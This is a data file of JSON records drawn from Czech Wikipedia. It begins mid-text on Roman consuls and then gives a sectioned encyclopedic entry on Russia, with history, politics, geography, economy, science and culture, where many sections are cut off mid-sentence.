více) provincií. Uplatňování prokonzulského imperia v jiné provincii než ve svěřené bylo nezákonné. Prokonzul měl navíc zakázáno opustit svoji provincii před skončením funkčního období nebo před příchodem svého nástupce. Výjimečně mohl senát udělit zvláštní povolení. Místodržitelé setrvávali v provincii většinou jeden až dva roky.", "Po nastolení principátu Augustus zcela zásadně změnil charakter konzulátu, když ho zbavil většiny kompetencí. Konzulové už nebyli voleni lidovým shromážděním, nýbrž jmenováni císařem. Třebaže i nadále bylo vykonávání tohoto úřadu značnou poctou – čistě formálně představovali konzulové stále nejvyšší úředníky s nejvyšší mocí ve státě – ve skutečnosti se stal konzulát pouhým symbolem zdánlivě přetrvávající republiky. Konzulům náleželo právo předsedat schůzím senátorů, avšak tuto pravomoc směli uplatňovat pouze z vůle císaře. Mimoto se účastnili her v Circu Maximu a všech veřejných slavností konaných na počest císaře. Náklady na ně ovšem museli uhradit. V některých mimořádných případech vedli soudní řízení. Mnoho konzulů bylo během svého funkčního období přinuceno rezignovat, aby tak umožnili jiným nastoupit po nich jako suffecti. Občas museli z funkce odstoupit i suffecti a na jejich místo byli ustaveni další náhradníci. V roce 190 se za vlády císaře Commoda za jediný rok vystřídalo v úřadu dvacet pět jedinců. Císařové mnohdy určili za konzuly sami sebe, své chráněnce anebo příbuzné, přičemž věková omezení byla běžně ignorována. Tak například císař Honorius se stal konzulem již krátce po narození. Někteří vládci se při výběru neomezovali dokonce ani na lidi. Caligula prý měl v úmyslu učinit konzulem svého koně. Po definitivním rozdělení římského státu v roce 395 náleželo císařům obou polovin říše právo ustavit jednoho konzula, třebaže ne vždy se toto pravidlo uplatňovalo. Po zániku západořímské říše byl po mnoho let jmenován pouze jediný. Na Západě zastával poslední konzul svůj úřad za nadvlády Ostrogótů v roce 534. Ve východořímské říši se od ustavování konzulů upustilo po roce 541." ] }

{ "title": [ "Název.", "Dějiny.", "Počátky Ruska.", "Sjednocení Rusi pod Moskvou.", "Carské Rusko.", "Ruské impérium.", "Revoluce a Sovětský svaz.", "Od revoluce do roku 1953.", "Léta 1953–1990.", "Ruská federace.", "Politický systém.", "Zahraniční politika.", "Intervence v oblasti zahraniční politiky.", "Ozbrojené síly.", "Administrativní členění.", "Geografie.", "Vodstvo.", "Podnebí.", "Města.", "Ekonomika.", "Národohospodářský přehled.", "Surovinové zdroje.", "Energetika.", "Žebříček firem.", "Doprava.", "Věda a technika.", "Obyvatelstvo.", "Kultura.", "Literatura.", "Hudba.", "Výtvarné umění.", "Architektura.", "Film.", "Kuchyně.", "Sport.", "Turistika." ], "section_level": [ "1", "1", "2", "2", "2", "2", "2", "3", "3", "2", "1", "1", "2", "1", "1", "1", "2", "2", "2", "1", "2", "2", "2", "2", "2", "1", "1", "1", "2", "2", "2", "2", "2", "2", "2", "2" ], "content": [ "Jméno země v současné formě bylo na poč. 16. století do ruštiny převzato ze středověké řečtiny – byzantské prameny nazývaly zemi východních Slovanů \"Ρωσσία, Rhóssía\". Ovšem tento řecký výraz sám byl mladší variantou slova \"Ρως, Rhós\" neboli Rus (rusky \"Русь, Rus’\"), označujícího od raného středověku prostor dnešní Ukrajiny, Běloruska a západní části evropského Ruska. Etymologie názvu \"Rus\" není zcela jistá, avšak nejběžněji se přijímá tzv. normanská teorie: termín pochází ze staré severštiny, znamená „veslaři“ a byl odvozen od jména kraje Roden (později zvaného Roslagen), což bylo pobřeží Svealandu, středního Švédska. Z Rodenu se varjagové (švédští vikingové čili Normané) vydávali po mořích a řekách do východoevropských oblastí a", "Po celou dobu své dlouhé historie bylo Rusko křižovatkou euroasijského kontinentu, respektive mostem mezi Evropou a Asií. První obyvatelé evropské části Ruska se usídlili v deltě řeky Don kolem roku 20 000 př. n. l. Až do příchodu Slovanů, kteří vtiskli Rusku jeho charakter, byly tyto oblasti střídavě ovládány různými kmeny (Skythové, Hunové, Avaři, Chazaři, Volžští Bulhaři a další).", "První státní útvar Východních Slovanů (později rozdělených na Rusy, Bělorusy a Ukrajince) vznikal mezi Baltským a Černým mořem, kudy vedly obchodní stezky mezi Skandinávií a Byzantskou říší. Za počátek dějin Ruska je považováno založení Novgorodu roku 862. Roku 882 ovládl novgorodský kníže Oleg z rodu Rurikovců Kyjev, který předtím platil tribut Chazarské říši. Následně Oleg založil Kyjevskou Rus. Spojení Slované poté dobyli hlavní město Chazarů a Kyjevská Rus se stala jedním z největších a nejvíce prosperujících států v Evropě. Roku 988 přijal kníže Vladimír I. křest z Byzantské říše, což", "Koncem 13. století začalo nabývat na významu Moskevské velkoknížectví. Moskva, založená 1147, se stala roku 1325 sídlem hlavy pravoslavné ruské církve. Země však byla nadále poddaná Zlaté hordě, které musela odvádět daně. Byly to těžké časy s častými mongolsko-tatarskými nájezdy, úpadkem zemědělství a rozšířením různých epidemií. Epidemie černé smrti nezasáhla Rusko tak silně jako západní Evropu a populaci se podařilo brzy obnovit. Roku 1380 moskevský velkokníže Dimitrij", "Roku 1547 se pak Ivan IV. Vasiljevič, zvaný \"Hrozný\", nechal korunovat carem a nastolil tak tzv. samoděržaví: centralistickou absolutní monarchii. Za jeho vlády se ruské teritorium směrem na Sibiř zdvojnásobilo, což z Ruska vytvořilo transkontinentální stát. Krymští Tataři, jediní zbývající zástupci Zlaté Hordy, pokračovali v nájezdech do jižního Ruska a odváděli ve velkém obyvatele do osmanského otroctví. Zabraňovali tak většímu osídlení území. Krymští Tataři také roku 1570 zdevastovali Rjazaň, kde se setkali jen se slabým odporem. V roce 1571 Tataři z Krymského chanátu a jejich osmanští spojenci (80 000 Tatarů, 33 000 Turků a 7 000 janičárů) vpadli do centrálního Ruska a za řekou Ugrou rozdrtili křídlo ruského vojska se 6 000 bojovníky. Jelikož ruská armáda neměla sílu k zastavení invaze, ustoupila do Moskvy. Venkovské obyvatelstvo také uprchlo do hlavního města. Armáda Krymských Tatarů zdevastovala města a vesnice v okolí Moskvy a poté vypálila většinu hlavního města. Odhaduje se, že tatarské invazi padlo za oběť 80 000 lidí a", "Koncem 17. století se stal ruským carem Petr Veliký, známý svými odvážnými reformami a modernizací státu. Po vítězství v Severní válce nad Švédskem (1700–1721) byl zaveden název Ruské impérium. Na jednom ze získaných území (v ústí řeky Něvy) založil Petrohrad, který se stal hlavním městem země. Roku 1721 také přijal Petr titul imperátora. Vláda Kateřiny II. Veliké (1762–1796) pak přinesla osvícenské reformy, počátek rozvoje věd, stavbu obrovských paláců v okolí Petrohradu, územní zisky na Ukrajině a Krymu v opakovaných válkách s Osmanskou říší a zisk velké části postupně rozdělovaného Polska. Ruské impérium se rozrostlo o další území Dálného východu až po Aljašku (1799), Gruzii (1802) a Ázerbájdžán (1813). V důsledku rusko-švédské války bylo roku 1809 k Rusku připojeno Finsko. V roce 1803–1806 bylo provedeno první ruské obeplutí země a v roce 1820 ruská expedice objevila kontinent Antarktidy. Roku 1812 vpadl do země Napoleon Bonaparte, avšak", "", "7. listopadu 1917 byla v Petrohradu ustavena sovětská vláda v čele s Leninem, revolucionářem a marxistickým intelektuálem. V lednu 1918 byla vyhlášena Ruská sovětská federativní socialistická republika (RSFSR), v jejíchž postupem doby pozměněných hranicích existuje dnešní Rusko. Hlavním městem se stala opět Moskva. 3. března podepsalo Rusko separátní Brest-litevskou mírovou smlouvu ukončující první světovou válku, ovšem za cenu ztráty většiny Ukrajiny, Běloruska, Polska, Besarábie, Finska a Pobaltí. Země upadla do vleklé občanské války trvající až do roku 1922; proti komunistům povstalo mnoho odpůrců, např. Bílá", "Po druhé světové válce byl SSSR jednou ze stran tzv. studené války. V roce 1953 zemřel sovětský vůdce generalissimus Stalin. Jeho nástupce, Nikita Chruščov, v tajném projevu v roce 1956 kritizoval tzv. kult osobnosti stalinského období. Následující desetiletí provázelo určité oslabení represí a ekonomický rozvoj; byl zahájen sovětský kosmický program. Během své vlády v roce 1954 daroval Chruščov Ukrajině poloostrov Krym při příležitosti 300 let od kozáckého shromáždění Perejaslavské rady a připojení Ukrajiny k Ruskému impériu. To bylo předzvěstí problémů, jež vyvstaly při rozpadu SSSR, neboť na převážně ruskojazyčném Krymu od té doby existovaly silné separatistické tendence. Éra Chruščovova následníka Brežněva byla pak", "Sovětský svaz měl být reorganizován ve volnější federaci, pro což se vyjádřila většina voličů 17. března 1991 v referendu. Byla zřízena funkce prezidenta RSFSR. 12. června 1991 byl prvním prezidentem Ruska zvolen Boris Jelcin. Tzv. srpnový puč, jehož cílem bylo zrušení demokratických přeměn, byl potlačen. 8. prosince 1991 pak hlavy Ruska, Ukrajiny a Běloruska podepisují Bělověžskou dohodu, prohlášení o vytvoření Společenství nezávislých států stanovící, že „SSSR jako subjekt mezinárodního práva přestal existovat“. 25. prosince 1991 se SSSR oficiálně rozpadla na Ruskou federaci a dalších 14 postsovětských republik. V říjnu 1993 propukla tzv. ústavní krize, Jelcin podporoval kurz radikální privatizace na rozdíl od", "Ruská federace je zastupitelská demokracie a poloprezidentská republika. Federální shromáždění je dvoukomorový parlament. Rada federace je horní komorou a Státní duma je dolní komora, která je volena na", "V České republice má Ruská federace velvyslanectví v Praze, generální konzuláty v Brně a v Karlových Varech a konzulát v Ostravě. Pro vstup na ruské území potřebují čeští občané vízum, jsou to víza buď turistická (do 30 dní) nebo služební (\"business\", na 30 dní až 12 měsíců). S vyřizováním víz pomáhají různé agentury. Velvyslanectví České republiky v Rusku sídlí v Moskvě, generální konzuláty jsou v Petrohradu a Jekatěrinburgu. Rusko je členem skupiny vyspělých národů G20, Rady Evropy, OBSE, APEC, skupiny BRICS a také důležitých regionálních organizací SNS, EurAsEC, OSKB a Šanghajské organizace pro spolupráci. V důsledku událostí na poloostrově Krymu (2014) přijali lídři Evropské unie, Spojených států amerických a Kanady politické a hospodářské sankce vůči Ruské federaci, neboť odmítli uznat Krymské referendum, ve kterém se více než devadesát procent hlasujících vyslovilo pro připojení poloostrova k Ruské federaci. Postupně byly tyto sankce zostřovány také v důsledku údajné podpory povstalců ve válce na východní Ukrajině. Nicméně řada zemí Evropské unie, včetně Řecka, Rakouska, Itálie, Kypru, Bulharska a Lucemburska, jdou jen neochotně cestou sankcí. Švýcarsko a Jižní Korea se oněch sankcí neúčastní. Dodržování lidských práv a LGBT práva v Rusku jsou dlouhodobě sledovány jak občany Ruska, tak zahraničím. Jejich případné nedodržování či dokonce potlačování je soustavně kritizováno zahraničními vládami, ruskou opozicí, některými ruskými a mnoha zahraničními médii a v Rusku i mimo Rusko působícími nevládními organizacemi, cílícími na podporu svobody a demokracie. Obzvláště společnosti, jako jsou \"Amnesty International\", \"Human Rights Watch\" nebo v České republice \"Člověk v tísni\" vyčítají ruskému systému porušování občanských svobod a politických práv občanů kontroverzními zákony, cenzurou a cenzurou internetu. \"Freedom House\", mezinárodní organizace financovaná americkou vládou, označila Rusko za „nesvobodný stát“ – podle ní jsou volby pečlivě vykonstruované a v zemi chybí možnost skutečně svobodné diskuse. Ruské autority veškeré námitky, především závěry \"Freedom House\", odmítají. Podle nevládní organizace \"Democracy Ranking\" se Ruská federace v průzkumu demokratických svobod, do kterého bylo zahrnuto 115 zemí, umístila na 95. místě. V důsledku anexe Krymu a následných sankcí ze strany USA, Kanady a Západní Evropy se Rusko rozhodlo věnovat zvýšenou pozornost svým hospodářským vztahům s asijskými zeměmi, především s Čínou, ale také s Japonskem, Jižní Koreou a Indií. V roce 2014 podepsalo důležitou smlouvu o dodávkách plynu s Čínou, které také dodává vojenská letadla a jiné vybavení. V menší míře, např. dodávkami ropy, obchoduje Rusko také se Severní Koreou.", "Rusko na konci desátých let 21. století navázalo na někdejší velmi aktivní zahraniční politiku a začalo pracovat na návratu image přední světové mocnosti. Zapojilo se ve světě do několika konfliktů: v roce 2008 se stalo jednou ze stran války v Jižní Osetii, kde pomohlo stabilizovat faktickou nezávislost dvou separatistických oblastí Gruzie, a to Abcházie a Jižní Osetie, které jednostranně vyhlásily nezávislost na Gruzii krátce po rozpadu Sovětského svazu na začátku 90. let. V roce 2014 se aktivně zapojilo", "Ozbrojené síly Ruské federace jsou rozděleny do pozemních sil, námořnictva a letectva. A dále na tři samostatné druhy vojsk: vzdušná a kosmická obrana, raketová vojska strategického určení a vzdušná výsadková vojska. Společně s USA disponuje Rusko největší jadernou a tankovou silou na světě. Země vyrábí většinu svého vlastního vojenského vybavení, jen několik typů dováží a je druhým největším dodavatelem zbraní na světě. Speciální jednotky Specnaz jsou jednotky zvláštního určení ruské armády i ozbrojených a bezpečnostních sil, je to obecný výraz pro řadu rozdílných jednotek, jejich výcvik patří mezi vůbec nejnáročnější na světě.", "Rusko se člení na 8 federálních okruhů nebo na 12 ekonomických rajónů, ty se dále dělí na 85 subjektů. Federálními okruhy jsou Centrální federální okruh, Jižní federální okruh, Severozápadní federální okruh, Dálněvýchodní federální okruh, Sibiřský federální okruh, Uralský federální okruh, Povolžský federální okruh, v roce 2010 byl vyčleněn z Jižního federálního okruhu nový Severokavkazský federální okruh. Roku 2014 vznikl dočasně Krymský federální okruh, který však byl již o dva roky později začleněn do Jižního federálního okruhu.", "Ruská federace je největším státem na světě, celková rozloha činí přibližně 17 milionů km2. Na západě hraničí s pobaltskými republikami a Baltským mořem, na východě pak s Tichým oceánem. Reliéf je převážně rovinatý, mimo pohoří Ural, které tvoří hranici mezi evropským Ruskem a Sibiří a Kavkaz s nejvyšší horou Elbrusem (5642 m). V Rusku je 23 míst světového dědictví UNESCO, 40 biosférických rezervací UNESCO, 41 národních parků a 101 přírodních rezervací. V Rusku se rozkládá pětina světových lesů. Velkým problémem jsou lesní požáry a nelegální těžba dřeva v tajze na Sibiři. Na východ od Uralu leží jedna z největších nížin světa Západosibiřská rovina, protékaná veletoky Obu s Irtyšem a Jenisejem. Nejvyšší je Altaj s četnými ledovci na západě, který zasahuje na území čtyř států. Z Altaje vybíhá na východ horské pásmo Sajan a na mongolské hranici vrcholí Východní Sajan. Na severovýchod od něj jezero Bajkal s hloubkou 1637 m představuje největší zásobárnu sladké vody na světě a zároveň jedinečný ekosystém. Za Bajkalem se na rozsáhlém území střídají náhorní plošiny (Vitimská, Aldanská) s dlouhými horskými hřbety (Jablonový, Stanový) až k Ochotskému moři. Nejvýchodnější Čukotské pohoří prostupuje poloostrov Čukotku, kterou necelých 100 km široký Beringův průliv dělí od Aljašky. Podél Beringova moře se na jihovýchod táhne Korjacké pohoří, které na Kamčatském poloostrově přechází v pohoří oddělené sníženinou řeky Kamčatky od pásma vysokých a činných sopek lemujících tichomořské pobřeží.", "Ruskou federaci obklopují moře tří světových oceánů – Severního ledového, Tichého a Atlantského. Moře Severního ledového oceánu jsou poměrně mělká a po většinu roku je pokrývá souvislá vrstva ledu. Vlastnosti moří Tichého a Atlantského oceánu jsou zcela odlišné: vody těchto moří zamrzají jen na krátké období, případně vůbec a jsou velmi bohaté na ryby. Největší řekou Ruské federace je Jenisej, nejdelší Ob spolu s Irtyšem, které společně tvoří sedmou nejdelší řeku světa. Všechny tři náleží do úmoří Severního", "Ruská federace je rozsáhlou zemí, a proto zde najdeme několik rozdílných klimatických oblastí. Pro počasí v severním a středním Rusku je charakteristické velké střídání teplot v průběhu roku. Jaro a podzim jsou o něco studenější než ve střední Evropě. Na druhé straně jsou zimy podstatně chladnější a to nejen na severu, ale také v centrálním Rusku.", "Moskva je s více než 11 miliony obyvatel jedním z největších měst světa a ekonomicky výrazně převyšuje zbytek Ruska. Pětimilionový Petrohrad, někdejší hlavní město, je pak především centrem umění, kultury a turismu. Třetím nejvýznamnějším centrem ruského školství a průmyslu je Jekatěrinburg. Na Volze leží velkoměsta Nižnij Novgorod, Kazaň, Toljatti, Samara, Saratov, Volgograd, Astrachaň. Mezi další významná města a regionální centra v evropské části patří, Perm, Iževsk, Ufa, Voroněž,", "", "Ruská ekonomika je determinována velkou rozlohou země, malou hustotou obyvatelstva (hlavně v asijské části) a s tím spojenými logistickými problémy. Je silně závislá na těžbě přírodních zdrojů, mj. ropy a zemního plynu. Mezi první desítkou firem dle kapitalizace jen pouhé dvě firmy nejsou spojeny s těžbou surovin (viz níže). V roce 2016 klesla ruská ekonomika co do objemu hrubého domácího produktu (HDP) na dvanáctou příčku v pořadí na světě. Tehdy se na stavu ruské ekonomiky začal vážně projevovat soubor negativních faktorů, z nichž nejhlavnější byly pokles cen klíčových nerostných surovin a", "Hlavními těženými surovinami jsou zemní plyn, ropa, hnědé a černé uhlí a nikl. Rusko má největší rezervy zemního plynu na světě, druhé největší zásoby uhlí a osmé největší zásoby ropy. Má také mj. velké zásoby zlata, diamantů a titanu. V zemi existují velké společnosti, zaměřené na těžbu ropy – Rosněfť, Lukoil, Sibněft, Juganskněftěgaz a další. Ruský plynárenský gigant Gazprom je největší firmou na světě, zabývající se těžbou plynu a obchodem s ním. Hospodářské výkony těžby nafty a plynu tvoří podstatnou část HDP ruské ekonomiky (roku 2013 těžba všech nerostných surovin tvořila 10,4 % HDP Ruska) a", "Rusko je třetí největší výrobce elektřiny na světě. Je také první zemí, která vybudovala jadernou elektrárnu. Všechny jaderné elektrárny jsou řízeny státní firmou Rosatom. Sektor se rychle vyvíjí, jen na rozvoj je z federálního rozpočtu do roku 2015", "Žebříček firem podle", "Rusko má po Spojených státech druhou největší železniční síť na světě, většina je pod kontrolou státem vlastněné společnosti RŽD. Železnice používají oproti Česku širší rozchod (1520 mm). Transsibiřská magistrála z Moskvy do Vladivostoku projíždí rekordních sedm časových pásem a je nejdelší železniční tratí na světě. První vysokorychlostní trať byla zahájena v roce 2009 na trati Petrohrad-Moskva-Nižnij Novgorod, využívá ruské vysokorychlostní vlaky Sapsan. Nejčastějším druhem městské dopravy bývají autobusy, trolejbusy a tramvaje. Významná část tramvají v Rusku je české výroby (Tatra T3, Tatra T6B5 atd.). Linky metra využívá sedm měst Ruska (Moskva, Petrohrad, Nižnij Novgorod, Novosibirsk, Samara, Jekatěrinburg a Kazaň) a tzv. systém \"Metrotram\" využívají další tři. Ve výstavbě je metro v Čeljabinsku, Krasnojarsku a Omsku. První metro bylo otevřeno v Moskvě v", "Věda a technika v Rusku kvetly od osvícenství zvláště po založení univerzit v Petrohradě a v Moskvě a Ruské akademie věd. Jejich rozvoj je spojen s působením cara Petra Velikého a carevny Kateřiny II. Veliké, panovníků, kteří otevřeli Rusko vlivům západní Evropy. Ruská matematická škola byla a je jednou z nejvlivnějších na světě. Dmitrij Ivanovskij objevil viry, Dmitrij Mendělejev vynalezl periodickou tabulku prvků a Sergej Lebeděv syntetickou gumu. Dalšími vynálezci byli Michail Britnev (ledoborec), Stěpan Makarov (torpédová loď), Franz San Galli (radiátor), Gleb Kotelnikov představil padák a Jevgenij Čertovskij první přetlakový oblek. K významnějším ruským objevům a vynálezům ve fyzice dále patří: elektrický oblouk, laser, maser, Lenzův zákon, fotovoltaický článek, Čerenkovovo záření, 3D holografie, elektronová paramagnetická rezonance, heterotransistor a tokamak na termonukleární fúzi. Proslulými leteckými konstruktéry byli Andrej Nikolajevič Tupolev, Sergej Iljušin a Oleg Antonov. Jako konstruktér pěchotních zbraní se celosvětově proslavil Michail Kalašnikov. O příspěvcích ruských vědců k rozvoji kosmonautiky od 20. století pojednává kapitola níže. Pilíři ruské vědy jsou rovněž Ivan Petrovič Pavlov a Michail Lomonosov. Pavlov získal i Nobelovu cenu, stejně jako Pjotr Leonidovič Kapica, Andre Geim, Konstantin Novoselov, Alexej Alexejevič Abrikosov, Vitalij Lazarevič Ginzburg, Ilja Prigogine, Nikolaj Gennadijevič Basov, Alexandr Prochorov, Pavel Alexejevič Čerenkov, Igor Jevgeněvič Tamm, Ilja Frank, Nikolaj Nikolajevič Semjonov a Ilja Iljič Mečnikov. K dalším významným osobnostem exaktních a přírodních věd patří Andrej Nikolajevič Kolmogorov, Nikolaj Ivanovič Lobačevskij, Sofia Kovalevská, Igor Kurčatov, Alexandr Ivanovič Oparin, Andrej Markov, Sergej Prokudin-Gorskij, Pafnutij Lvovič Čebyšev, Alexandr Fridman, Alexandr Stěpanovič Popov, Vladimir Zvorykin, Nikolaj Vavilov, Vladimir Ivanovič Vernadskij a Wladimir Köppen. V seznamu laureátů nejprestižnějších matematických cen, tedy Fieldsovy medaile a Abelovy ceny, lze nalézt mnoho ruských jmen: Sergej Petrovič Novikov, Grigorij Perelman, Grigorij Alexandrovič Margulis, Jefim Izakovič Zelmanov, Maxim Lvovič Koncevič, Vladimir Alexandrovič Vojevodskij, Andrej Jurjevič Okuňkov, Stanislav Smirnov, Michail Gromov či Jakov Sinaj. Významným matematikem byl i Vladimir Arnold. Krize v 90. letech vedla k drastickému snížení státní podpory vědy a odlivu mozků z Ruska, ovšem po roce 2000 se na vlně nového ekonomického boomu situace ruské vědy a techniky zlepšila a vláda zahájila kampaň zaměřenou na modernizaci a inovaci. V oblasti humanitních a sociálních věd vynikli literární vědci Michail Bachtin a Vissarion Grigorjevič Bělinskij, lingvisté Roman Jakobson a Vladimir Jakovlevič Propp, průkopník moderní pedagogiky Anton Semjonovič Makarenko, sociologové Andrej Korotajev a Pitirim Sorokin, teoretik kultury Anatolij Lunačarskij či historik Nikolaj Michajlovič Karamzin. Nejznámějšími ruskými filozofy jsou Nikolaj Berďajev či Vladimir Solovjov. Klíčovými představiteli ruské psychologie a psychiatrie byli Vladimir Michajlovič Bechtěrev, Lev Vygotskij a Alexandr Romanovič Lurija. Leonid Kantorovič a Leonid Hurwicz získali Nobelovu cenu za ekonomii.", "Rusko je devátým nejlidnatějším státem světa. Populace Ruska dosáhla v roce 1991 vrcholu s nejvyšším počtem 148 689 000 obyvatel těsně před rozpadem SSSR a od poloviny 90. let zaznamenala rychlý pokles. Počet obyvatel mezi lety 1995–2010 klesl o více než 5 milionů; odhad k 1. lednu 2014 hovoří o 143 657 000 obyvatelích, což je o 800 000 více než při oficiálním sčítání roku 2010. Tento pokles se v posledních letech téměř zpomalil do stagnace díky snížené úmrtnosti, zvýšené porodnosti a zvýšené míře přistěhovalectví. V roce 2009 Rusko zaznamenalo poprvé za patnáct let meziroční nárůst populace, přičemž celkový nárůst činil 10 500 osob. Podle OSN je přistěhovalecká populace v Rusku třetí největší na světě a činí 11,6 milionu lidí. Předními zeměmi původu přistěhovalců do Ruska je Ukrajina, Uzbekistán, Tádžikistán, Ázerbájdžán, Moldavsko a Kazachstán. Závažný problém představovala nízká porodnost, která obzvláště u obyvatel ruské národnosti patřila mezi nejnižší na světě; nejníže klesla v závěru 20. století, po roce 2000 se velmi mírně zvýšila. Tento problém se ovšem netýká některých neruských národností, zejména pak těch, u nichž převládají vyznavači islámu; jejich porodnost je většinou vyšší, ovšem v současné době nepředstavují tak velký podíl obyvatelstva, aby mohli negativní trendy v celonárodním měřítku zvrátit. Rozdíl v porodnostech se však projevuje postupnou změnou poměru obyvatel těchto národností a etnických Rusů, která je patrná zejména v okrajových částech země. Rozmístění obyvatelstva je nerovnoměrné: většina (77 %, tj. přes 110 miliónů) obyvatel žije v menší evropské části, zatímco obrovská území Sibiře jsou téměř liduprázdná – průměrná hustota osídlení činí, vzhledem k obrovské rozloze federace, pouhých 8,4 obyv./km2. Růst počtu obyvatel v současné době pokračuje v některých jižních oblastech Čečensko, Ingušsko, Dagestán atd.) a na severovýchodě, nejvíce se naopak vylidňují oblasti evropského západu (Pskovská, Smolenská, Novgorodská oblast). V roce 2014 byla průměrná délka života 71 let s výrazným rozdílem mezi pohlavími: 65 let u mužů a 77 u žen. Míra porodnosti je v Rusku vyšší než u většiny evropských zemí (13,3 narození na 1000 osob v roce 2014 v porovnání s průměrem Evropské unie 10,1 na 1000), ale míra úmrtnosti je také podstatně vyšší (v roce 2014 byla úmrtnost v Rusku 13,1 na 1000 osob ve srovnání s průměrem EU 9,7 na 1000). Ruské Ministerstvo zdravotnictví a sociálních věcí předpovídalo, že míra úmrtnosti se do roku 2011 vyrovná porodnosti díky zvýšení plodnosti a poklesu úmrtnosti. Vláda realizuje řadu programů, jejichž cílem je zvýšit míru porodnosti a přilákat více migrantů. Měsíční vládní příspěvky na děti byly zdvojnásobeny na 55 dolarů a ženám, které od roku 2007 měly druhé dítě byla nabízena jednorázová platba ve výši 9 200 dolarů. V srpnu 2012, kdy země zaznamenala svůj první demografický růst od devadesátých let, prezident Putin prohlásil, že do roku 2025 by bylo možné dosáhnout 146 milionů obyvatel Ruska, a to především v důsledku přistěhovalectví. Etničtí Rusové tvoří asi 81% populace země. Ruská federace je také domovem několika významných menšin. V zemi žije celkem 160 různých etnických skupin a domorodých obyvatel. 19% tedy tvoří ostatní etnické skupiny: 3,7% – Tataři; 1,4% – Ukrajinci; 1,1% – Baškirové; 1% – Čuvaši; 11,8% ostatní a nespecifikované. Podle sčítání lidu náleží 84,93% ruského obyvatelstva k evropským etnickým skupinám (slovanským, germánským, baltofinským mimo ugrické, řeckým a jiným). Od roku 2002 byl zaznamenán pokles, kdy představovaly více než 86% populace.", "Starý ruský folklór má své kořeny v pohanském slovanském náboženství. Rusové mají mnoho tradic, některé jsou dodržovány v různých částech Ruska více, některé méně, je to například mytí v zimní báně, horké parní lázni podobné sauně, před odjezdem na dlouhou cestu musí všichni cestovatelé na chvíli posedět v tichu, zapískání v domě přináší velkou smůlu a matky obvykle neukazují své dítě nikomu kromě otci a nejbližším příbuzným čtyřicet dní po porodu. Hojně je v Rusku také rozšířena subkultura tzv. Gopniků.", "Ruská literatura je označení pro veškerou literaturu psanou v ruském jazyce obyvateli Ruska nebo ruských emigrantů. Do ruské literatury se zahrnují i neruští spisovatelé z menších národů žijících na území Ruska nebo bývalého Sovětského svazu. V období od středověku do konce období klasicismu se o rozkvět ruské literatury starali hlavně ruští básníci a méně celosvětově známí spisovatelé. Od 30. let 19. století zaznamenala ruská literatura nebývalý rozmach a vstoupila do svého zlatého věku, který pokračoval až do počátku století dvacátého. Ke klasikům světové literatury bezpochyby patří Lev Nikolajevič", "Ruská hudba, jejíž kořeny sahají hluboko do dob pohanských východních Slovanů, od svých počátků prošla do dnešní doby dlouhým historickým vývojem. Po přijetí křesťanství došlo k rozvoji duchovní hudby, resp. zpěvu. Zpočátku šlo o přejímání byzantské liturgie, která však brzy získala své charakteristické ruské prvky a do dnešních dnů hraje nezastupitelnou úlohu v ruských dějinách. V 11. století vznikl znamennyj raspěv, charakteristický způsob pravoslavného církevního zpěvu. Také archeologické objevy částí nejstarších strunných nástrojů v Novgorodu pocházejí z této doby. V 16. – 17. století se rozvíjí ruská lidová píseň. Některé z nich se staly světoznámými, jako např. Píseň burlaků, Kalinka, Kaťuša, Kozácká ukolébavka, Dubinuška, Poljuško pole, Korobuška, Oči čornyje ad. Počátky umělé ruské hudby sahají do 18. století a od doby panování Petra Velikého byly pod vlivem západní hudby. Nejvýznamnějším skladatelem této doby byl Dmitrij Bortňanskij – Ukrajinec, v jehož tvorbě jsou zastoupeny jak komorní hudba, tak a capellové sborové zpěvy považované za typické pro ruskou pravoslavnou duchovní hudbu. Inspirace ruskou lidovou hudbou se poprvé ve větší míře objevuje v operách a orchestrálních skladbách Michaila Ivanoviče Glinky a Alexandra Sergejeviče Dargomyšského, čímž byla předurčena cesta vývoje ruské národní skladatelské školy. Později se zformovalo volné sdružení pěti mladých skladatelů, nazvané Mocná hrstka, do které patřili Alexandr Borodin (opera \"Kníže Igor\" se známými Poloveckými", "První ruské malby se dochovaly v ikonách a pestrých freskách z 10. století. Carská akademie umění vznikla v roce 1757. Díky umělecké společnosti Peredvižnici se v Rusku zpopularizoval realismus, který dominoval konci 19. století. Zlomová Ruská avantgarda převládala zhruba do konce třicátých let dvacátého století. Po říjnové revoluci musela postupně většina výtvarného umění sloužit diktatuře proletariátu, většinou to byla", "Od christianizace Kyjevské Rusi byla ruská architektura ovlivněna převážně byzantskou architekturou. Stopy kombinace asijské a evropské architektury z časů Zlaté hordy nezapře Kazaňský kreml nebo hradiště Bulgar. První významné stavby začaly vznikat ve 12. a 13. století. Tzv. bílou architekturu z té éry (podle bílého vápence, z něhož byla stavěna), neboli tzv. staroruský sloh, reprezentuje zejména chrám Zesnutí přesvaté Bohorodice a chrám svatého Dmitrije Soluňského ve Vladimiru. Obě stavby byly zapsány na seznam Světového dědictví UNESCO (na seznam byla zapsána i některá historická centra měst – Petrohradu, Novgorodu a Jaroslavle). K významným stavbám 14. století patří Trojicko-sergijevská lávra, v 15. století vznikl Solovecký monastýr, klášter svatého Feraponta Bělozerského i Moskevský Kreml. Italský architekt Aristotele Fioravanti a jiní přinesli v 15. století do Ruska rovněž renesanci, Fioravanti v moskevském Kremlu postavil Uspenský chrám. Nejvýznamnějšími stavbami 16. století byly chrám Vasila Blaženého, chrám Nanebevstoupení Páně v Kolomenském, Novoděvičí klášter nebo klášter Zesnutí přesvaté Bohorodice ve Svijažsku. Velká éra ruské architektury nastala v 17. a 18. století, kdy se panovníci stále mocnějšího impéria", "Ruské filmy se začaly objevovat po říjnové revoluci, za jeden z nejvýznamnějších snímků světové kinematografie je považován film \"Křižník Potěmkin\", jehož autorem je režisér Sergej Michajlovič Ejzenštejn. Klasikem dokumentárního filmu se tehdy stal Dziga Vertov. I přes sovětské omezování kreativity se podařilo natočit několik světově známých filmů, např. \"Jeřábi táhnou\", \"Balada o vojákovi\", komedie Eldara Rjazanova (\"Ironie osudu\", \"Služební román\") a Leonida Gajdaje, oskarový film Sergeje Bondarčuka \"Vojna a mír\". Slavnými filmovými režiséry jsou též Andrej Tarkovskij, Andrej Končalovskij a Nikita Michalkov. Populárními", "Ruské národní jídlo jsou tzv. pelmeně (taštičky z tenkého těsta plněné masem), dále je velmi populární polévka boršč, pirohy, grilovaný", "Ruské a sovětské olympijské týmy byly vždy mezi prvními čtyřmi v počtu zlatých medailí z letních olympijských her. Co do celkového počtu medailí ze zimních a letních olympijských her je Rusko na druhém místě na světě. Letní olympijské hry se konaly v Moskvě poprvé a zatím naposledy v roce 1980, byly však bojkotovány 